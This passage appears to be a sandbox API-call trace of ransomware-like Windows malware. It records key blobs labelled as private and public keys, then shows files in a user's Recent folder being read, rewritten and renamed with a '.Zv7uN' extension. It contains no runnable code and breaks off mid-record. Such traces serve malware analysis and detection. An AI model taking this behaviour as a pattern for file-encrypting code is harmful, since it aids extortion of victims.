BASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", cchWideChar=2469, lpMultiByteStr=0x1f7389c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", lpUsedDefaultChar=0x0) returned 2469 [0084.899] GetCurrentThreadId () returned 0xa30 [0084.899] GetCurrentThreadId () returned 0xa30 [0084.899] GetCurrentThreadId () returned 0xa30 [0084.900] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0084.900] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f848fc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0084.900] GetCurrentThreadId () returned 0xa30 [0084.918] GetCurrentThreadId () returned 0xa30 [0084.918] GetCurrentThreadId () returned 0xa30 [0084.918] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\_XVFyuqaJA4MHES.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\_xvfyuqaja4mhes.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0084.918] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f960*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f960*=0) returned 0x0 [0084.918] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0084.918] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x20e3 [0084.918] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0084.919] ReadFile (in: hFile=0x124, lpBuffer=0x1f8c700, nNumberOfBytesToRead=0x20e3, lpNumberOfBytesRead=0x18f96c, lpOverlapped=0x0 | out: lpBuffer=0x1f8c700*, lpNumberOfBytesRead=0x18f96c*=0x20e3, lpOverlapped=0x0) returned 1 [0084.920] CloseHandle (hObject=0x124) returned 1 [0084.921] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\_XVFyuqaJA4MHES.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\_xvfyuqaja4mhes.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0084.923] WriteFile (in: hFile=0x124, lpBuffer=0x1f90730*, nNumberOfBytesToWrite=0x20e3, lpNumberOfBytesWritten=0x18f978, lpOverlapped=0x0 | out: lpBuffer=0x1f90730*, lpNumberOfBytesWritten=0x18f978*=0x20e3, lpOverlapped=0x0) returned 1 [0084.925] CloseHandle (hObject=0x124) returned 1 [0084.933] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\_XVFyuqaJA4MHES.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\_xvfyuqaja4mhes.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\_XVFyuqaJA4MHES.lnk.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\_xvfyuqaja4mhes.lnk.zv7un")) returned 1 [0084.934] GetCurrentThreadId () returned 0xa30 [0084.934] GetCurrentThreadId () returned 0xa30 [0084.934] GetCurrentThreadId () returned 0xa30 [0084.934] GetCurrentThreadId () returned 0xa30 [0084.934] GetCurrentThreadId () returned 0xa30 [0084.934] GetCurrentThreadId () returned 0xa30 [0084.934] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1ab6be0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe1ab6be0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe1ab6be0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x20e3, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="_XVFyuqaJA4MHES.lnk", cAlternateFileName="_XVFYU~1.LNK")) returned 0 [0084.934] GetLastError () returned 0x12 [0084.934] FindClose (in: hFindFile=0x6aa000 | out: hFindFile=0x6aa000) returned 1 [0084.935] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\*.*", lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x508b2320, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x508b2320, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName=".", cAlternateFileName="")) returned 0x6aa000 [0084.935] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa1c | out: lpLocalFileTime=0x18fa1c) returned 1 [0084.935] FileTimeToDosDateTime (in: lpFileTime=0x18fa1c, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0084.935] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x508b2320, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x508b2320, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="..", cAlternateFileName="")) returned 1 [0084.935] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0084.935] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0084.935] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3427700, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe3427700, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x4db9e280, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0xeee, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="-0cgImthwd.lnk.Zv7uN", cAlternateFileName="-0CGIM~1.ZV7")) returned 1 [0084.935] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0084.935] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0084.935] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3179e40, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe3179e40, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x4dc106a0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0xa38, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="-CYi6R7bCvIz-.lnk.Zv7uN", cAlternateFileName="-CYI6R~1.ZV7")) returned 1 [0084.935] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0084.935] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0084.935] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2866a60, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe2866a60, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x4dc36800, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0xa21, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="-DpF-3V_.lnk.Zv7uN", cAlternateFileName="-DPF-3~1.ZV7")) returned 1 [0084.935] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0084.935] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0084.935] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d69eba0, ftCreationTime.dwHighDateTime=0x1d622f5, ftLastAccessTime.dwLowDateTime=0x3d69eba0, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x4dc36800, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0xa79, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="-s mpTOnNpWunebm.lnk.Zv7uN", cAlternateFileName="-SMPTO~1.ZV7")) returned 1 [0084.936] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0084.936] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0084.936] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe24ae800, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe363ca40, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x4dc82ac0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0xed3, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="1ilxsFFPhAmnX.lnk.Zv7uN", cAlternateFileName="1ILXSF~1.ZV7")) returned 1 [0084.936] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0084.936] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0084.936] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d489860, ftCreationTime.dwHighDateTime=0x1d622f5, ftLastAccessTime.dwLowDateTime=0x3d489860, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x4dca8c20, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x3f2, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="27DC21J8aR.lnk.Zv7uN", cAlternateFileName="27DC21~1.ZV7")) returned 1 [0084.936] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0084.936] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0084.936] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d4fbc80, ftCreationTime.dwHighDateTime=0x1d622f5, ftLastAccessTime.dwLowDateTime=0x3d4fbc80, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x4dcced80, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x23e, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="2ihEu7JjN.ots.lnk.Zv7uN", cAlternateFileName="2IHEU7~1.ZV7")) returned 1 [0084.936] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0084.936] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0084.936] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d2c07e0, ftCreationTime.dwHighDateTime=0x1d622f5, ftLastAccessTime.dwLowDateTime=0x3d2c07e0, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x4dcf4ee0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x14ed, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="2opleEzWe0B wcg.mkv.lnk.Zv7uN", cAlternateFileName="2OPLEE~1.ZV7")) returned 1 [0084.936] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0084.936] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0084.936] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe0381560, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe0381560, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x4dd411a0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0xf30, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="2pfWvAl3JPRxQW6X.lnk.Zv7uN", cAlternateFileName="2PFWVA~1.ZV7")) returned 1 [0084.936] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0084.936] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0084.936] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d7f5800, ftCreationTime.dwHighDateTime=0x1d622f5, ftLastAccessTime.dwLowDateTime=0x3d7f5800, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x4dd67300, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x22d, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="2RLAZi.mkv.lnk.Zv7uN", cAlternateFileName="2RLAZI~1.ZV7")) returned 1 [0084.936] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0084.937] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0084.937] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2e802c0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe2e802c0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x4dd8d460, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0xa8f, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="2wyN1v_bomEHhDPaBS.lnk.Zv7uN", cAlternateFileName="2WYN1V~1.ZV7")) returned 1 [0084.937] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0084.937] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0084.937] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2d9ba80, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe2d9ba80, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x4ddb35c0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x14ee, dwReserved0=0x7a98342e, 